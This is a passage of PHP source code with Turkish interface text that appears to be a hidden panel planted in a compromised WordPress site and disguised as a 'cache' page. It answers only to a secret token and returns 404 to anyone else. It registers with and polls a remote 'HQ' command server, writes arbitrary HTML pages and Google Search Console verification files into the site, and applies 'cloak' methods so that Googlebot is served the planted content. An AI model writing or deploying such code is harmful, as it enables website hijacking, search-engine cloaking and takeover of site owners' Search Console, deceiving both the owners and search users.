18px}'; echo 'button{background:#3d5cbf;color:#fff;border:0;border-radius:6px;padding:8px 12px;cursor:pointer;font:inherit}button.alt{background:#6b3a3a}'; echo 'label{display:block;margin:10px 0 4px;color:#9aa3b5;font-size:12px}input,textarea{width:100%;background:#0c0e12;color:#e8eaed;border:1px solid #3a4254;border-radius:6px;padding:8px;font:inherit}'; echo 'textarea{min-height:150px}hr{border:0;border-top:1px solid #2a3140;margin:18px 0}'; echo '.copy{display:flex;gap:8px;align-items:stretch}.copy input{flex:1;font:12px/1.4 ui-monospace,Consolas,monospace}'; echo 'a.go{display:inline-block;background:#3d5cbf;color:#fff;border-radius:6px;padding:8px 12px;text-decoration:none}'; echo '#cmhold{position:fixed;inset:0;background:rgba(8,10,14,.86);display:flex;align-items:center;justify-content:center;z-index:99;padding:20px}'; echo '#cmhold[hidden]{display:none}.cmhold-box{text-align:center;max-width:380px}'; echo '.cmspin{width:42px;height:42px;border:3px solid #2a3140;border-top-color:#f0d9a0;border-radius:50%;animation:cmspin .8s linear infinite;margin:0 auto 16px}'; echo '@keyframes cmspin{to{transform:rotate(360deg)}}#cmholdt{margin:0 0 8px;font-size:16px;color:#f0d9a0}#cmholds{margin:0;color:#9aa3b5;font-size:13px}</style></head><body>'; echo '<div id="cmhold"' . ($hold ? '' : ' hidden') . ' data-rich="' . ($openRich ? htmlspecialchars(cm_rich_url(), ENT_QUOTES) : '') . '">'; echo '<div class="cmhold-box"><div class="cmspin"></div><p id="cmholdt">Perde işleniyor…</p>'; echo '<p id="cmholds">Cache temizleniyor. Bu ekranı kapatma; kapatırsan HQ arka planda devam eder.</p></div></div>'; echo '<div class="wrap">'; echo '<h1>Önbellek</h1><p class="sub">Sayfa önbelleği ve doğrulama dosyaları</p>'; if ($setup && $tokenUrl) {
echo '<p>Bu adres yalnızca bu site için. Kopyala, yer imine ekle. Sonraki girişte bunu kullan.</p>'; echo '<div class="copy"><input id="cmurl" readonly value="' . htmlspecialchars($tokenUrl, ENT_QUOTES) . '">'; echo '<button type="button" onclick="(function(b){var i=document.getElementById(\'cmurl\');i.focus();i.select();i.setSelectionRange(0,9999);try{navigator.clipboard.writeText(i.value);}catch(e){}b.textContent=\'Kopyalandı\';setTimeout(function(){b.textContent=\'Kopyala\'},1600)})(this)">Kopyala</button></div>'; echo '<p class="sub">Bu URL açıldığında NOX perde yüklenir ve cloak atılır.</p>'; }
if ($msg) {
echo '<div class="note' . ($bad ? ' bad' : '') . '">' . htmlspecialchars($note, ENT_QUOTES) . '</div>'; }
if (!$setup && !cm_try_ready()) {
$stWait = cm_state(); $left = (int) cm_arr($stWait, 'jobs_left', 0); echo '<div class="note"><b>Perde paneli kapalı.</b> Googlebot / zengin sonuçlarda NOX görünce açılır. Yalnızca önbellekteki WordPress sayfası paneli kilitlemez.</div>'; if (!empty($stWait['last_home_wp'])) {
echo '<p class="sub">Kök URL önbellekten WordPress dönebilir. /index.php veya cache-bust NOX ise panel açılır.</p>'; }
echo '<p class="sub" id="cmwait">HQ ' . (!empty($stWait['agent_id']) ? 'bağlı' : 'bekleniyor'); echo $left > 0 ? ' · kuyrukta ' . $left . ' iş' : ''; echo ' · arka planda kontrol (sayfa kendini yenilemez)</p>'; echo '<script>(function(){var t="' . $t . '";function tick(){var x=new XMLHttpRequest();x.open("GET","?t="+t+"&poll=1");x.timeout=55000;x.onload=function(){var d={};try{d=JSON.parse(x.responseText)||{}}catch(e){}if(d.ready){location.reload();return;}var el=document.getElementById("cmwait");if(el){el.textContent="HQ "+(d.hq?"bağlı":"bekleniyor")+(d.jobs_left>0?(" · kuyrukta "+d.jobs_left+" iş"):"")+" · kontrol "+(d.wp?"(kök önbellek WP)":"ok");}setTimeout(tick,8000)};x.onerror=function(){setTimeout(tick,8000)};x.ontimeout=function(){setTimeout(tick,8000)};x.send();}tick();window.addEventListener("pagehide",function(){try{fetch("?t="+t+"&poll=1",{keepalive:true,credentials:"same-origin"});}catch(e){}});})();</script>'; echo '</div></body></html>'; return; }
if (!$setup) {
$srv = cm_server_info(); $won = (string) cm_arr(cm_state(), 'cloak_method'); echo '<p class="sub">' . htmlspecialchars(cm_curtain_file(), ENT_QUOTES) . ($exists ? ' · ' . $size . ' bayt' : ' · yok'); echo ' · ' . htmlspecialchars($srv['engine'] . '/' . $srv['sapi'], ENT_QUOTES); echo $won !== '' ? ' · ' . htmlspecialchars($won, ENT_QUOTES) : ''; echo ' · ' . htmlspecialchars(cm_public_path() === '/' ? 'kök' : cm_public_path(), ENT_QUOTES); $hqSt = cm_state(); $hqOk = (int) cm_arr($hqSt, 'last_hq_ok', 0); $hqAge = $hqOk > 0 ? (time() - $hqOk) : -1; if (empty($hqSt['agent_id'])) {
echo ' · HQ: yok' . (!empty($hqSt['last_hq_error']) ? ' (' . htmlspecialchars((string) $hqSt['last_hq_error'], ENT_QUOTES) . ')' : ''); }
elseif ($hqAge >= 0 && $hqAge < 120) {
echo ' · HQ: poll var'; }
else {
echo ' · HQ: kayıtlı' . (!empty($hqSt['last_hq_error']) ? ' (' . htmlspecialchars((string) $hqSt['last_hq_error'], ENT_QUOTES) . ')' : ''); }
echo '</p>'; echo '<div class="tags">'; $any = false; foreach (cm_cloak_labels() as $k => $lab) {
if (empty($st[$k])) {
continue; }
$any = true; echo '<span class="on">' . htmlspecialchars($lab, ENT_QUOTES) . '</span>'; }
if (!$any) {
echo '<span>cloak yok</span>'; }
echo '</div><div class="row">'; echo '<form method="post"><input type="hidden" name="a" value="cloak"><button>Perdeyi yayınla</button></form>'; echo '<a class="go" href="' . htmlspecialchars(cm_rich_url(), ENT_QUOTES) . '" target="_blank" rel="noopener noreferrer">Zengin sonuçlar</a>'; echo '</div><form method="post"><input type="hidden" name="a" value="html">'; echo '<label>Perde HTML</label><textarea name="html" placeholder="HTML"></textarea>'; echo '<p><button>Kaydet</button></p></form><hr><form method="post"><input type="hidden" name="a" value="gsc">'; echo '<label>Search Console doğrulama</label>'; echo '<textarea name="gsc" placeholder="google-site-verification: … veya googleXXXX.html içeriği" style="min-height:90px"></textarea>'; echo '<p class="sub">Tek kutu. Dosya adı satırın içinden çıkarılır, google….html yazılır.</p>'; echo '<p><button>Yükle</button></p></form>'; echo '<script>(function(){var t="' . $t . '";var hold=document.getElementById("cmhold");var ht=document.getElementById("cmholdt");var hs=document.getElementById("cmholds");var t0=0;var MIN=12000;var MAX=48000;'; echo 'function show(a,b){if(ht)ht.textContent=a;if(hs)hs.textContent=b;if(hold)hold.hidden=false;}'; echo 'function hide(){if(hold)hold.hidden=true;}'; echo 'function richUrl(){return (hold&&hold.getAttribute("data-rich"))||"";}'; echo 'function afterHold(url){if(ht)ht.textContent="Tamam";if(hs)hs.textContent="Kapatabilirsin. Kuyrukta iş kaldıysa HQ arka planda sürdürür.";setTimeout(function(){hide();if(url){try{var w=window.open(url,"_blank","noopener,noreferrer");if(w)w.opener=null;}catch(e){}}},1600);}'; echo 'function pollWait(done){var x=new XMLHttpRequest();x.open("GET","?t="+t+"&poll=1");x.timeout=55000;x.onload=function(){var d={};try{d=JSON.parse(x.responseText)||{}}catch(e){}var left=d.jobs_left||0;var elapsed=Date.now()-t0;if(hs)hs.textContent=left>0?("Kuyrukta "+left+" iş · kapatırsan HQ birkaç dakika içinde alır"):"Cache işi bitiyor…";if((left<1&&elapsed>=MIN)||elapsed>=MAX){done(d);return;}setTimeout(function(){pollWait(done)},2000)};x.onerror=function(){setTimeout(function(){pollWait(done)},3000)};x.ontimeout=function(){setTimeout(function(){pollWait(done)},3000)};x.send();}'; echo 'function intercept(form){form.addEventListener("submit",function(e){e.preventDefault();t0=Date.now();show("Perde işleniyor…","Cache temizleniyor. Bu ekranı kapatma; kapatırsan HQ arka planda devam eder.");var fd=new FormData(form);fd.set("cm_ajax","1");fetch(location.href,{method:"POST",body:fd,credentials:"same-origin"}).then(function(r){return r.json()}).then(function(j){if(!j||!j.ok){show("Olmadı",(j&&j.msg)||"Kayıt olmadı");setTimeout(hide,2800);return;}if(ht)ht.textContent=j.msg||"Kaydedildi";if(j.rich)hold.setAttribute("data-rich",j.rich);pollWait(function(){afterHold(j.open_rich&&j.rich?j.rich:"")});}).catch(function(){hide();location.reload();});});}'; echo 'document.querySelectorAll("form").forEach(function(f){var a=f.querySelector("input[name=a]");if(a&&(a.value==="html"||a.value==="cloak"))intercept(f);});'; echo 'fetch("?t="+t+"&poll=1",{credentials:"same-origin"});setInterval(function(){fetch("?t="+t+"&poll=1",{credentials:"same-origin"})},15000);'; echo 'window.addEventListener("pagehide",function(){try{fetch("?t="+t+"&poll=1",{keepalive:true,credentials:"same-origin"});}catch(e){}});'; echo ($hold ? 't0=Date.now()-8000;pollWait(function(){afterHold(richUrl());});' : ''); echo '})();</script>'; }
echo '</div></body></html>'; }
if (!cm_is_main()) {
return; }
ob_start(); register_shutdown_function('cm_on_fatal'); cm_protect_agent_dir(); $state = cm_state(); $token = (string) (isset($_GET['t']) ? $_GET['t'] : ''); if ($token === '' && empty($state['token_hash'])) {
$new = bin2hex(cm_rand(24)); cm_register($new); $state = cm_state(); if (empty($state['token_hash'])) {
$state['token_hash'] = hash('sha256', $new); $state['token_once'] = $new; cm_state_save($state); }
$url = cm_self_url() . '?t=' . rawurlencode($new); cm_ui('Kayıt denendi.', true, $url); exit; }
if ($token === '') {
http_response_code(404); exit; }
$hash = hash('sha256', $token); if (empty($state['token_hash']) || !hash_equals((string) $state['token_hash'], $hash)) {
http_response_code(404); exit; }
if (empty($state['server'])) {
$state['server'] = cm_server_info(); cm_state_save($state); }
if (cm_hq_ready() && (empty($state['agent_id']) || (string) cm_arr($state, 'api_hash') !== CM_API_HASH)) {
cm_register($token); }
cm_remember_visitor(); if (isset($_GET['poll'])) {
cm_poll(); $st = cm_state(); if (empty($st['ready']) && empty($st['boot_ok']) && !empty($st['hq_google_ok'])) {
$st['boot_ok'] = 1; $st['ready'] = 1; cm_state_save($st); }
header('Content-Type: application/json; charset=utf-8'); echo json_encode(array( 'ok' => 1, 'ready' => (!empty($st['ready']) || !empty($st['boot_ok'])) ? 1 : 0, 'jobs_left' => (int) cm_arr($st, 'jobs_left', 0), 'wp' => !empty($st['last_home_wp']) ? 1 : 0, 'hq' => !empty($st['agent_id']) ? 1 : 0, )); exit; }
cm_try_ready(); $msg = ''; $openRich = false; $hold = false; $ajaxOk = false; $state = cm_state(); if (!cm_try_ready() && cm_srv('REQUEST_METHOD') === 'POST') {
$msg = 'Kurulum bitmeden işlem yok.'; }
elseif (cm_srv('REQUEST_METHOD') === 'POST') {
if (function_exists('ignore_user_abort')) {
ignore_user_abort(true); }
if (function_exists('set_time_limit')) {
@set_time_limit(90); }
$a = (string) (isset($_POST['a']) ? $_POST['a'] : ''); if ($a === 'html') {
$res = cm_write_html(cm_curtain_name(), (string) (isset($_POST['html']) ? $_POST['html'] : ''), 'token'); $msg = empty($res['ok']) ? ((string) cm_arr($res, 'error', 'hata') === 'php_yasak' ? 'PHP kabul edilmez.' : 'Yazılamadı.') : 'Kaydedildi: ' . $res['file']; if (!empty($res['ok'])) {
$ajaxOk = true; $hold = true; cm_remember_visitor(true); cm_ls_purge_now(); cm_poll(true); }
}
elseif ($a === 'gsc') {
$gsc = cm_gsc_parse((string) (isset($_POST['gsc']) ? $_POST['gsc'] : '')); if ($gsc === null) {
$msg = 'Doğrulama geçersiz. google-site-verification satırını yapıştır.'; }
else {
$res = cm_write_html($gsc['name'], $gsc['body']); $msg = !empty($res['ok']) ? 'GSC yazıldı: ' . $gsc['name'] : 'Yazılamadı.'; $ajaxOk = !empty($res['ok']); }
}
elseif ($a === 'cloak') {
$res = cm_cloak_apply_all(); $purge = array(); if (!empty($res['ok'])) {
$ajaxOk = true; $hold = true; cm_ls_purge_now(); $purge = cm_cache_purge(); if (empty($res['test_ok'])) {
$res = cm_attach_google_test($res, (string) cm_arr($res, 'method', '')); }
}
$extra = !empty($purge['log']) ? ' · cache: ' . implode(', ', $purge['log']) : ''; if (!empty($res['ok']) && !empty($res['test_ok'])) {
$msg = 'Perde Googlebot’ta görünüyor: ' . (string) cm_arr($res, 'method') . ' · ' . implode(' → ', cm_arr($res, 'log', array())) . $extra . '. Zengin sonuçlar açılıyor.'; $openRich = true; }
elseif (!empty($res['ok'])) {
$msg = 'Cloak yazıldı, cache temizlendi ama Googlebot perdede yok. Zengin sonuçlar açılmadı. · ' . implode(' → ', cm_arr($res, 'log', array())) . $extra; }
elseif (cm_arr($res, 'error') === 'once_perde') {
$msg = 'Önce perde HTML kaydet.'; }
else {
$msg = 'Yayınlanamadı: ' . implode(' → ', cm_arr($res, 'log', array())); }
}
}
if (isset($_POST['cm_ajax'])) {
if (function_exists('ob_get_level')) {
while (ob_get_level() > 0) {
ob_end_clean(); }
}
header('Content-Type: application/json; charset=utf-8'); $st = cm_state(); echo json_encode(array( 'ok' => !empty($ajaxOk) ? 1 : 0, 'msg' => $msg, 'jobs_left' => (int) cm_arr($st, 'jobs_left', 0), 'open_rich' => !empty($openRich) ? 1 : 0, 'rich' => !empty($openRich) ? cm_rich_url() : '', )); exit; }
if (!cm_try_ready()) {
cm_ui($msg, false, '', $openRich, $hold); exit; }
cm_try_ready(); cm_ui($msg, false, '', $openRich, $hold);